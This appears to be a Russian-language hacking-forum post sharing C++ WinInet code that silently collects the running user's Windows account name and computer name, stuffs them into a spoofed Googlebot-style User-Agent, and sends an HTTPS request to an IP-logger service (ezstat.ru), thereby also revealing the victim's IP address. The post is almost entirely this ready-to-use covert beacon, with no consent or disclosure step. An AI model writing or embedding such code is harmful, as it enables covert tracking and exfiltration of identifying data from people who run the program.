C++ Отправка уведомления на сервер IPLogger

r3xq1

Проверенный
Проверенный
r3xq1

r3xq1

Проверенный
Проверенный
Сообщения
53
Реакции
29
Создаём класс Logger.cpp и запишем в него данный код:
C++:
#include <iostream>
#include <string>
#include <windows.h>
#include <WinInet.h>
#include <Lmcons.h> // для UNLEN

#pragma comment (lib, "Wininet.lib")

// разделение ссылки
void split_link(std::string l, std::string& server, std::string& target)
{
    int n = l.find("/");

    std::string str = l.substr(0, n);
    server = str;

    if (n == l.size()) target = server;
    else {
        str = l.substr(n + 1, l.size());
        target = str;
    }
}

#define UNLEN 256 // Размер буфера

// получения имени пользователя
std::string GetUser()
{
    char buffer[UNLEN + 1];
    DWORD size; 
    size = sizeof(buffer);
    if (GetUserNameA(buffer, &size) == 0)
    {
        return "Unknown UserName ";
    }
    return buffer;
}

// Получение имени машины пользователя
std::string GetMachine()
{
    char buffer[UNLEN + 1];
    DWORD size;
    size = sizeof(buffer);
    if (GetComputerNameA(buffer, &size) == 0)
    {
        return "Unknown ComputerName ";
    }
    return buffer;
}
// StringBuilder лог
std::string Log()
{
    std::string s = GetUser() + " | ";
    s.append(GetMachine());
    return s;
}

std::string Send(std::string l)
{
    std::string server, target;
    split_link(l, server, target);
    LPCSTR Identifier = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36"; // Идентификатор
    HINTERNET hInternet = InternetOpenA(Log().c_str(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hInternet != NULL) {
        HINTERNET hConnect = InternetConnectA(hInternet, server.c_str(), INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1u);
        if (hConnect != NULL)
        {
            HINTERNET hRequest = HttpOpenRequestA(hConnect, "GET", target.c_str(), NULL, NULL, NULL, INTERNET_FLAG_SECURE | INTERNET_FLAG_KEEP_CONNECTION, 1);
            if (hRequest != NULL)
            {
                HttpSendRequest(hRequest, NULL, 0, NULL, 0);
                InternetCloseHandle(hRequest);
            }
            InternetCloseHandle(hConnect);
        }
        InternetCloseHandle(hInternet);
    }
    return "";
}

int main()
{
    // setlocale(LC_ALL, "");
    Send("ezstat.ru/12345"); // без https://
}
 

Сверху Снизу